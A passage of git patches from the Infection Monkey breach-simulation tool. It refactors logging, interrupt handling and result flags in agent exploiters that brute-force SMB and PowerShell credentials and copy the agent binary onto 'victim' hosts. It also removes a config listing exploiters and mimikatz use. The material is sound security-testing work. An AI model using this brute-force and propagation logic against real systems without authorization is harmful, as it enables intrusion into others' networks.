f"infection-monkey-{monkey_arg}-{timestamp}-" + suffix = ".log" _, monkey_log_path = tempfile.mkstemp(suffix=suffix, prefix=prefix) From 96c8072c2131f6e8491380888fa9e7694a920a4e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 20 Mar 2022 20:40:43 -0400 Subject: [PATCH 0803/1110] Docs: Update agent log naming scheme to put timestamp before random --- docs/content/FAQ/_index.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 1c5760549..2478d0e43 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -192,7 +192,7 @@ of directories to find an appropriate place to store the log: - On all other platforms, the directories `/tmp`, `/var/tmp`, and `/usr/tmp`, in that order. 5. As a last resort, the current working directory. -Infection Monkey log file name is constructed to the following pattern: `infection-monkey-agent--.log` +Infection Monkey log file name is constructed to the following pattern: `infection-monkey-agent--.log` The logs contain information about the internals of the Infection Monkey agent's execution. The log will contain entries like these: @@ -217,8 +217,8 @@ The logs contain information about the internals of the Infection Monkey agent's The Infection Monkey leaves hardly any trace on the target system. It will leave: - Log files in [temporary directories]({{< ref "/faq/#infection-monkey-agent-logs">}}): - - Path on Linux: `/tmp/infection-monky-agent--.log` - - Path on Windows: `%temp%\\infection-monky-agent--.log` + - Path on Linux: `/tmp/infection-monky-agent--.log` + - Path on Windows: `%temp%\\infection-monky-agent--.log` ### What's the Infection Monkey Agent's impact on system resources usage? From 89bda5ae87b88047edaae69286b90aea2b24a370 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 21 Mar 2022 07:15:47 -0400 Subject: [PATCH 0804/1110] Agent: Improve logging in SMBExploiter --- monkey/infection_monkey/exploit/smbexec.py | 16 +++++++++++----- .../infection_monkey/exploit/tools/smb_tools.py | 10 +++++----- 2 files changed, 16 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 5ccfc03f8..be94becaf 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -9,7 +9,10 @@ from infection_monkey.exploit.tools.helpers import get_agent_dest_path from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import DROPPER_CMDLINE_DETACHED_WINDOWS, MONKEY_CMDLINE_DETACHED_WINDOWS from infection_monkey.telemetry.attack.t1035_telem import T1035Telem -from infection_monkey.utils.brute_force import generate_brute_force_combinations +from infection_monkey.utils.brute_force import ( + generate_brute_force_combinations, + get_credential_string, +) from infection_monkey.utils.commands import build_monkey_commandline logger = getLogger(__name__) @@ -31,6 +34,8 @@ class SMBExploiter(HostExploiter): creds = generate_brute_force_combinations(self.options["credentials"]) for user, password, lm_hash, ntlm_hash in creds: + creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash]) + try: # copy the file remotely using SMB remote_full_path = SmbTools.copy_file( @@ -46,7 +51,8 @@ class SMBExploiter(HostExploiter): if remote_full_path is not None: logger.info( - f'Successfully logged in to {self.host.ip_addr} using user "{user}"' + f"Successfully logged in to {self.host.ip_addr} using SMB " + f"with {creds_for_log}" ) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) self.add_vuln_port( @@ -63,9 +69,9 @@ class SMBExploiter(HostExploiter): self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) except Exception as exc: - logger.debug( - "Error when trying to copy file using SMB to {self.host.ip_addr} with user " - f'"{user}":{exc}' + logger.error( + "Error while trying to copy file using SMB to {self.host.ip_addr} with " + f"{creds_for_log}:{exc}" ) continue diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index 5efe87270..8ce7773bb 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -39,7 +39,7 @@ class SmbTools(object): # skip guest users if smb.isGuestSession() > 0: - logger.debug(f'Connection to {host} granted guest privileges with user "{username}"') + logger.info(f"Connection to {host} granted guest privileges with {creds_for_log}") try: smb.logoff() @@ -122,8 +122,8 @@ class SmbTools(object): try: smb.connectTree(share_name) except Exception as exc: - logger.debug( - "Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc + logger.error( + f'Error connecting tree to share "{share_name}" on victim {host}: {exc}' ) continue @@ -154,7 +154,7 @@ class SmbTools(object): break except Exception as exc: - logger.debug( + logger.error( "Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc ) T1105Telem( @@ -206,7 +206,7 @@ class SmbTools(object): try: smb.login(username, password, "", lm_hash, ntlm_hash) except Exception as exc: - logger.debug(f'Error while logging into {host} using user "{username}": {exc}') + logger.error(f'Error while logging into {host} using user "{username}": {exc}') return None, dialect smb.setTimeout(timeout) From 9ca8bc1a609135016ec870b08a47b8713c3d916c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 21 Mar 2022 07:16:22 -0400 Subject: [PATCH 0805/1110] Agent: Remove example.conf This file is out of date and an unnecessary maintenance burden. --- monkey/infection_monkey/example.conf | 68 ---------------------------- 1 file changed, 68 deletions(-) delete mode 100644 monkey/infection_monkey/example.conf diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf deleted file mode 100644 index 7a4386107..000000000 --- a/monkey/infection_monkey/example.conf +++ /dev/null @@ -1,68 +0,0 @@ -{ - "command_servers": [ - "192.0.2.0:5000" - ], - "keep_tunnel_open_time": 60, - "subnet_scan_list": [ - - ], - "inaccessible_subnets": [], - "blocked_ips": [], - "current_server": "192.0.2.0:5000", - "should_stop": false, - "collect_system_info": true, - "should_use_mimikatz": true, - "depth": 2, - - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_set_date": true, - "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", - "dropper_target_path_linux": "/tmp/monkey", - - "exploiter_classes": [ - "SSHExploiter", - "SmbExploiter", - "WmiExploiter", - "Struts2Exploiter", - "WebLogicExploiter", - "HadoopExploiter", - "MSSQLExploiter" - ], - "finger_classes": [ - "SSHFinger", - "HTTPFinger", - "SMBFinger", - "MSSQLFingerprint", - "ElasticFinger" - ], - "ping_scan_timeout": 10000, - "smb_download_timeout": 300, - "self_delete_in_cleanup": true, - "exploit_user_list": [], - "exploit_password_list": [], - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "exploit_ssh_keys": [], - "local_network_scan": false, - "tcp_scan_timeout": 10000, - "tcp_target_ports": [ - 22, - 445, - 135, - 3389, - 80, - 8080, - 443, - 3306, - 8008, - 9200, - 7001, - 8088 - ], - "post_breach_actions": [] - custom_PBA_linux_cmd = "" - custom_PBA_windows_cmd = "" - PBA_linux_filename = None - PBA_windows_filename = None -} From 7e4ec00454beb1776bf3bec18b397d8fb02e3b72 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 21 Mar 2022 07:21:05 -0400 Subject: [PATCH 0806/1110] Agent: Add error message to exploit_result when SMB exploiter gives up --- monkey/infection_monkey/exploit/smbexec.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index be94becaf..689484c25 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -77,6 +77,7 @@ class SMBExploiter(HostExploiter): if not self.exploit_result.exploitation_success: logger.debug("Exploiter SmbExec is giving up...") + self.exploit_result.error_message = "Failed to authenticate to the victim over SMB" return self.exploit_result # execute the remote dropper in case the path isn't final From cadc23d8a5ad58294515d00138a67cec336180d6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 13:02:30 -0400 Subject: [PATCH 0807/1110] Agent: Only start/stop tunnel if the agent is able to propagate Starting and stopping the tunnel is slow, and only necessary if the agent plans to propagate. If depth < 1, propagation will not occur, so there's no point in having a tunnel open. If a `-d` parameter is not supplied to the agent, the tunnel will be started. --- monkey/infection_monkey/monkey.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 5a6238dfc..23d423473 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -154,7 +154,7 @@ class InfectionMonkey: firewall.add_firewall_rule() self._monkey_inbound_tunnel = ControlClient.create_control_tunnel() - if self._monkey_inbound_tunnel: + if self._monkey_inbound_tunnel and self._propagation_enabled(): self._monkey_inbound_tunnel.start() StateTelem(is_done=False, version=get_version()).send() @@ -265,7 +265,7 @@ class InfectionMonkey: reset_signal_handlers() - if self._monkey_inbound_tunnel: + if self._monkey_inbound_tunnel and self._propagation_enabled(): self._monkey_inbound_tunnel.stop() self._monkey_inbound_tunnel.join() @@ -291,6 +291,12 @@ class InfectionMonkey: logger.info("Monkey is shutting down") + def _propagation_enabled(self) -> bool: + # If self._current_depth is None, assume that propagation is desired. + # The Master will ignore this value if it is None and pull the actual + # maximum depth from the server + return self._current_depth is None or self._current_depth > 0 + @staticmethod def _close_tunnel(): tunnel_address = ( From 896a9171acae40d2433a7ba55e507750884b7e32 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 21 Mar 2022 08:14:01 -0400 Subject: [PATCH 0808/1110] Agent: Add missing 'f' to f-string --- monkey/infection_monkey/exploit/smbexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 689484c25..31a8dbb53 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -70,7 +70,7 @@ class SMBExploiter(HostExploiter): except Exception as exc: logger.error( - "Error while trying to copy file using SMB to {self.host.ip_addr} with " + f"Error while trying to copy file using SMB to {self.host.ip_addr} with " f"{creds_for_log}:{exc}" ) continue From 75ea2c8c3a025ad65f066bc258970f3efe8dbe8a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 21 Mar 2022 08:15:25 -0400 Subject: [PATCH 0809/1110] Docs: Remove reference to example.conf --- docs/content/reference/scanners/_index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/reference/scanners/_index.md b/docs/content/reference/scanners/_index.md index 6de0a8099..e932c7df1 100644 --- a/docs/content/reference/scanners/_index.md +++ b/docs/content/reference/scanners/_index.md @@ -35,7 +35,7 @@ The currently implemented Fingerprint modules are: To add a new scanner/fingerprinter, create a new class that inherits from [`HostScanner`][host-scanner] or [`HostFinger`][host-finger] (depending on the interface). The class should be under the network module and imported under [`network/__init__.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/network/__init__.py). -To use the new scanner/fingerprinter by default, two files need to be changed - [`infection_monkey/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/config.py) and [`infection_monkey/example.conf`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/example.conf) to add references to the new class. +To use the new scanner/fingerprinter by default, modify [`infection_monkey/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/config.py) to add references to the new class. At this point, the Infection Monkey knows how to use the new scanner/fingerprinter but to make it easy to use, the UI needs to be updated. The relevant UI file is [`monkey_island/cc/services/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/monkey_island/cc/services/config.py). From 02154e38fd820f9bd705e74602cda183f62a8b21 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Fri, 18 Mar 2022 15:05:30 +0000 Subject: [PATCH 0810/1110] Agent: Make powershell exploiter interruptable --- monkey/infection_monkey/exploit/HostExploiter.py | 4 ++++ monkey/infection_monkey/exploit/powershell.py | 13 ++++++++++++- 2 files changed, 16 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 2e198ac4c..b1e2c72d3 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -103,6 +103,10 @@ class HostExploiter: self.exploit_result.error_message = "Exploiter has been interrupted" return self.interrupt.is_set() + class InterruptError(Exception): + # Raise when exploiter gets interrupted + pass + def post_exploit(self): self.set_finish_time() diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 026ffb17d..ede63daaf 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -67,7 +67,11 @@ class PowerShellExploiter(HostExploiter): auth_options = [get_auth_options(creds, use_ssl) for creds in credentials] - self._client = self._authenticate_via_brute_force(credentials, auth_options) + try: + self._client = self._authenticate_via_brute_force(credentials, auth_options) + except self.InterruptError: + return self.exploit_result + if not self._client: self.exploit_result.error_message = ( "Unable to authenticate to the remote host using any of the available credentials" @@ -79,6 +83,8 @@ class PowerShellExploiter(HostExploiter): try: self._execute_monkey_agent_on_victim() self.exploit_result.propagation_success = True + except self.InterruptError: + return self.exploit_result except Exception as ex: logger.error(f"Failed to propagate to the remote host: {ex}") self.exploit_result.error_message = str(ex) @@ -134,6 +140,8 @@ class PowerShellExploiter(HostExploiter): self, credentials: List[Credentials], auth_options: List[AuthOptions] ) -> Optional[IPowerShellClient]: for (creds, opts) in zip(credentials, auth_options): + if self.is_interrupted(): + raise self.InterruptError try: client = PowerShellClient(self.host.ip_addr, creds, opts) client.connect() @@ -166,6 +174,9 @@ class PowerShellExploiter(HostExploiter): def _execute_monkey_agent_on_victim(self): monkey_path_on_victim = self.options["dropper_target_path_win_64"] + if self.is_interrupted(): + raise self.InterruptError() + self._copy_monkey_binary_to_victim(monkey_path_on_victim) logger.info("Successfully copied the monkey binary to the victim.") From f50f4cf71caa621af1b2532aba1ab11c95a678ed Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Fri, 18 Mar 2022 15:19:14 +0000 Subject: [PATCH 0811/1110] Agent: Add interrupt error message to powershell results --- monkey/infection_monkey/exploit/powershell.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index ede63daaf..9840ac7a7 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -70,6 +70,7 @@ class PowerShellExploiter(HostExploiter): try: self._client = self._authenticate_via_brute_force(credentials, auth_options) except self.InterruptError: + self.exploit_result.error_message = "Exploiter has been interrupted" return self.exploit_result if not self._client: @@ -84,6 +85,7 @@ class PowerShellExploiter(HostExploiter): self._execute_monkey_agent_on_victim() self.exploit_result.propagation_success = True except self.InterruptError: + self.exploit_result.error_message = "Exploiter has been interrupted" return self.exploit_result except Exception as ex: logger.error(f"Failed to propagate to the remote host: {ex}") From 83b18debc0e4ac5c1e831cb90ebf38ba9fe98ef1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 21 Mar 2022 08:39:49 -0400 Subject: [PATCH 0812/1110] Agent: Remove InterruptError and use `if` instead --- .../infection_monkey/exploit/HostExploiter.py | 4 ---- monkey/infection_monkey/exploit/powershell.py | 22 ++++++------------- 2 files changed, 7 insertions(+), 19 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index b1e2c72d3..2e198ac4c 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -103,10 +103,6 @@ class HostExploiter: self.exploit_result.error_message = "Exploiter has been interrupted" return self.interrupt.is_set() - class InterruptError(Exception): - # Raise when exploiter gets interrupted - pass - def post_exploit(self): self.set_finish_time() diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 9840ac7a7..b097630d7 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -23,6 +23,7 @@ from infection_monkey.exploit.tools.helpers import get_random_file_suffix from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.environment import is_windows_os +from infection_monkey.utils.threading import interruptable_iter logger = logging.getLogger(__name__) @@ -67,10 +68,9 @@ class PowerShellExploiter(HostExploiter): auth_options = [get_auth_options(creds, use_ssl) for creds in credentials] - try: - self._client = self._authenticate_via_brute_force(credentials, auth_options) - except self.InterruptError: - self.exploit_result.error_message = "Exploiter has been interrupted" + self._client = self._authenticate_via_brute_force(credentials, auth_options) + + if self.is_interrupted(): return self.exploit_result if not self._client: @@ -79,14 +79,9 @@ class PowerShellExploiter(HostExploiter): ) return self.exploit_result - self.exploit_result.exploitation_success = True - try: self._execute_monkey_agent_on_victim() self.exploit_result.propagation_success = True - except self.InterruptError: - self.exploit_result.error_message = "Exploiter has been interrupted" - return self.exploit_result except Exception as ex: logger.error(f"Failed to propagate to the remote host: {ex}") self.exploit_result.error_message = str(ex) @@ -141,9 +136,7 @@ class PowerShellExploiter(HostExploiter): def _authenticate_via_brute_force( self, credentials: List[Credentials], auth_options: List[AuthOptions] ) -> Optional[IPowerShellClient]: - for (creds, opts) in zip(credentials, auth_options): - if self.is_interrupted(): - raise self.InterruptError + for (creds, opts) in interruptable_iter(zip(credentials, auth_options), self.interrupt): try: client = PowerShellClient(self.host.ip_addr, creds, opts) client.connect() @@ -152,7 +145,9 @@ class PowerShellExploiter(HostExploiter): f"{creds.username}, Secret Type: {creds.secret_type.name}" ) + self.exploit_result.exploitation_success = True self._report_login_attempt(True, creds) + return client except Exception as ex: logger.debug( @@ -176,9 +171,6 @@ class PowerShellExploiter(HostExploiter): def _execute_monkey_agent_on_victim(self): monkey_path_on_victim = self.options["dropper_target_path_win_64"] - if self.is_interrupted(): - raise self.InterruptError() - self._copy_monkey_binary_to_victim(monkey_path_on_victim) logger.info("Successfully copied the monkey binary to the victim.") From b0f03179c1058797b85f9a3f5ea9e32f9fe61482 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 21 Mar 2022 08:59:17 -0400 Subject: [PATCH 0813/1110] Agent: Add `interrupted` boolean to ExploiterResultData Setting an interrupted flag on the ExploiterResultData is a more useful way to present the information to anything that uses it. If decisions need to be made based on whether or not something was interrupted, a flag can be checked instead of parsing an error message. --- monkey/infection_monkey/exploit/HostExploiter.py | 2 +- monkey/infection_monkey/i_puppet/i_puppet.py | 1 + monkey/infection_monkey/puppet/mock_puppet.py | 15 +++++++++------ .../infection_monkey/telemetry/exploit_telem.py | 4 +++- .../infection_monkey/master/test_propagator.py | 12 ++++++------ .../telemetry/test_exploit_telem.py | 3 ++- 6 files changed, 22 insertions(+), 15 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 2e198ac4c..f791e7a9c 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -100,7 +100,7 @@ class HostExploiter: # Ideally the user should only do "check_for_interrupt()" if self.interrupt.is_set(): logger.info("Exploiter has been interrupted") - self.exploit_result.error_message = "Exploiter has been interrupted" + self.exploit_result.interrupted = True return self.interrupt.is_set() def post_exploit(self): diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index 0db62bae2..d68e42049 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -24,6 +24,7 @@ class UnknownPluginError(Exception): class ExploiterResultData: exploitation_success: bool = False propagation_success: bool = False + interrupted: bool = False os: str = "" info: Mapping = None attempts: Iterable = None diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index bd00c3acb..4ac6f3c2f 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -190,17 +190,18 @@ class MockPuppet(IPuppet): successful_exploiters = { DOT_1: { "PowerShellExploiter": ExploiterResultData( - True, True, os_windows, info_powershell, attempts, None + True, True, False, os_windows, info_powershell, attempts, None ), "ZerologonExploiter": ExploiterResultData( - False, False, os_windows, {}, [], "Zerologon failed" + False, False, False, os_windows, {}, [], "Zerologon failed" ), "SSHExploiter": ExploiterResultData( - False, False, os_linux, info_ssh, attempts, "Failed exploiting" + False, False, False, os_linux, info_ssh, attempts, "Failed exploiting" ), }, DOT_3: { "PowerShellExploiter": ExploiterResultData( + False, False, False, os_windows, @@ -209,9 +210,11 @@ class MockPuppet(IPuppet): "PowerShell Exploiter Failed", ), "SSHExploiter": ExploiterResultData( - False, False, os_linux, info_ssh, attempts, "Failed exploiting" + False, False, False, os_linux, info_ssh, attempts, "Failed exploiting" + ), + "ZerologonExploiter": ExploiterResultData( + True, False, False, os_windows, {}, [], None ), - "ZerologonExploiter": ExploiterResultData(True, False, os_windows, {}, [], None), }, } @@ -219,7 +222,7 @@ class MockPuppet(IPuppet): return successful_exploiters[host.ip_addr][name] except KeyError: return ExploiterResultData( - False, False, os_linux, {}, [], f"{name} failed for host {host}" + False, False, False, os_linux, {}, [], f"{name} failed for host {host}" ) def run_payload(self, name: str, options: Dict, interrupt: threading.Event): diff --git a/monkey/infection_monkey/telemetry/exploit_telem.py b/monkey/infection_monkey/telemetry/exploit_telem.py index c276e1b8f..62f5d728f 100644 --- a/monkey/infection_monkey/telemetry/exploit_telem.py +++ b/monkey/infection_monkey/telemetry/exploit_telem.py @@ -1,9 +1,9 @@ from typing import Dict from common.common_consts.telem_categories import TelemCategoryEnum +from infection_monkey.i_puppet.i_puppet import ExploiterResultData from infection_monkey.model.host import VictimHost from infection_monkey.telemetry.base_telem import BaseTelem -from infection_monkey.i_puppet.i_puppet import ExploiterResultData class ExploitTelem(BaseTelem): @@ -25,6 +25,7 @@ class ExploitTelem(BaseTelem): self.host = host.__dict__ self.exploitation_result = result.exploitation_success self.propagation_result = result.propagation_success + self.interrupted = result.interrupted self.info = result.info self.attempts = result.attempts @@ -34,6 +35,7 @@ class ExploitTelem(BaseTelem): return { "exploitation_result": self.exploitation_result, "propagation_result": self.propagation_result, + "interrupted": self.interrupted, "machine": self.host, "exploiter": self.name, "info": self.info, diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py index 49cdd103a..3746e65eb 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py @@ -201,38 +201,38 @@ class MockExploiter: results_callback( "PowerShellExploiter", host, - ExploiterResultData(True, True, os_windows, {}, {}, None), + ExploiterResultData(True, True, False, os_windows, {}, {}, None), ) results_callback( "SSHExploiter", host, - ExploiterResultData(False, False, os_linux, {}, {}, "SSH FAILED for .1"), + ExploiterResultData(False, False, False, os_linux, {}, {}, "SSH FAILED for .1"), ) elif host.ip_addr.endswith(".2"): results_callback( "PowerShellExploiter", host, ExploiterResultData( - False, False, os_windows, {}, {}, "POWERSHELL FAILED for .2" + False, False, False, os_windows, {}, {}, "POWERSHELL FAILED for .2" ), ) results_callback( "SSHExploiter", host, - ExploiterResultData(False, False, os_linux, {}, {}, "SSH FAILED for .2"), + ExploiterResultData(False, False, False, os_linux, {}, {}, "SSH FAILED for .2"), ) elif host.ip_addr.endswith(".3"): results_callback( "PowerShellExploiter", host, ExploiterResultData( - False, False, os_windows, {}, {}, "POWERSHELL FAILED for .3" + False, False, False, os_windows, {}, {}, "POWERSHELL FAILED for .3" ), ) results_callback( "SSHExploiter", host, - ExploiterResultData(True, True, os_linux, {}, {}, None), + ExploiterResultData(True, True, False, os_linux, {}, {}, None), ) diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py index 600e1db20..3255cc7b7 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py @@ -40,7 +40,7 @@ def exploit_telem_test_instance(): EXPLOITER_NAME, HOST, ExploiterResultData( - RESULT, RESULT, OS_LINUX, EXPLOITER_INFO, EXPLOITER_ATTEMPTS, ERROR_MSG + RESULT, RESULT, False, OS_LINUX, EXPLOITER_INFO, EXPLOITER_ATTEMPTS, ERROR_MSG ), ) @@ -50,6 +50,7 @@ def test_exploit_telem_send(exploit_telem_test_instance, spy_send_telemetry): expected_data = { "exploitation_result": RESULT, "propagation_result": RESULT, + "interrupted": False, "machine": HOST_AS_DICT, "exploiter": EXPLOITER_NAME, "info": EXPLOITER_INFO, From 7a1fcced2ffa3b7d12c23da2a02d428775ed0edb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 21 Mar 2022 09:09:15 -0400 Subject: [PATCH 0814/1110] Agent: Extract method _set_interrupted() from is_interrupted() --- monkey/infection_monkey/exploit/HostExploiter.py | 11 ++++++----- monkey/infection_monkey/exploit/mssqlexec.py | 3 ++- monkey/infection_monkey/exploit/powershell.py | 3 ++- monkey/infection_monkey/exploit/wmiexec.py | 3 ++- 4 files changed, 12 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index f791e7a9c..17bbee2a3 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -94,14 +94,15 @@ class HostExploiter: ) self.set_start_time() - def is_interrupted(self): + def _is_interrupted(self): + return self.interrupt.is_set() + + def _set_interrupted(self): # This method should be refactored to raise an exception to reduce duplication in the # "if is_interrupted: return self.exploitation_results" # Ideally the user should only do "check_for_interrupt()" - if self.interrupt.is_set(): - logger.info("Exploiter has been interrupted") - self.exploit_result.interrupted = True - return self.interrupt.is_set() + logger.info("Exploiter has been interrupted") + self.exploit_result.interrupted = True def post_exploit(self): self.set_finish_time() diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 9a9bfef7a..eae4f33dd 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -73,7 +73,8 @@ class MSSQLExploiter(HostExploiter): ) return self.exploit_result - if self.is_interrupted(): + if self._is_interrupted(): + self._set_interrupted() return self.exploit_result try: diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index b097630d7..868c31c97 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -70,7 +70,8 @@ class PowerShellExploiter(HostExploiter): self._client = self._authenticate_via_brute_force(credentials, auth_options) - if self.is_interrupted(): + if self._is_interrupted(): + self._set_interrupted() return self.exploit_result if not self._client: diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 7b7c9ad1e..9bfcb3d14 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -70,7 +70,8 @@ class WmiExploiter(HostExploiter): downloaded_agent = self.agent_repository.get_agent_binary(self.host.os["type"]) - if self.is_interrupted(): + if self._is_interrupted(): + self._set_interrupted() return self.exploit_result remote_full_path = SmbTools.copy_file( From a2ac2658ed9503eb02e0f1ada3db975c31bd3c56 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 21 Mar 2022 10:19:54 -0400 Subject: [PATCH 0815/1110] Agent: Initialize self._master = None --- monkey/infection_monkey/monkey.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index aae545cc2..0abd47149 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -74,6 +74,7 @@ class InfectionMonkey: self._monkey_inbound_tunnel = None self.telemetry_messenger = LegacyTelemetryMessengerAdapter() self._current_depth = self._opts.depth + self._master = None @staticmethod def _get_arguments(args): From cda113d29133c26ed0b112e42781fb2749ed8b19 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 21 Mar 2022 10:20:34 -0400 Subject: [PATCH 0816/1110] Agent: Check _signal_handler before resetting on Windows We don't need to call win32api.SetConsoleCtrlHandler if _signal_handler is None (i.e. was never set). --- monkey/infection_monkey/utils/signal_handler.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/utils/signal_handler.py b/monkey/infection_monkey/utils/signal_handler.py index 202c27489..3278841be 100644 --- a/monkey/infection_monkey/utils/signal_handler.py +++ b/monkey/infection_monkey/utils/signal_handler.py @@ -71,7 +71,8 @@ def reset_signal_handlers(): if is_windows_os(): import win32api - win32api.SetConsoleCtrlHandler(_signal_handler, False) + if _signal_handler: + win32api.SetConsoleCtrlHandler(_signal_handler, False) else: signal.signal(signal.SIGINT, signal.SIG_DFL) signal.signal(signal.SIGTERM, signal.SIG_DFL) From 41278c8044a391e0ee03e21574c1c1b120830c08 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Mon, 21 Mar 2022 15:04:24 +0000 Subject: [PATCH 0817/1110] Agent: Make log4shell interruptable --- monkey/infection_monkey/exploit/log4shell.py | 35 +++++++++++++------ .../service_exploiters/logstash.py | 3 +- .../service_exploiters/solr.py | 3 +- .../service_exploiters/tomcat.py | 5 ++- 4 files changed, 32 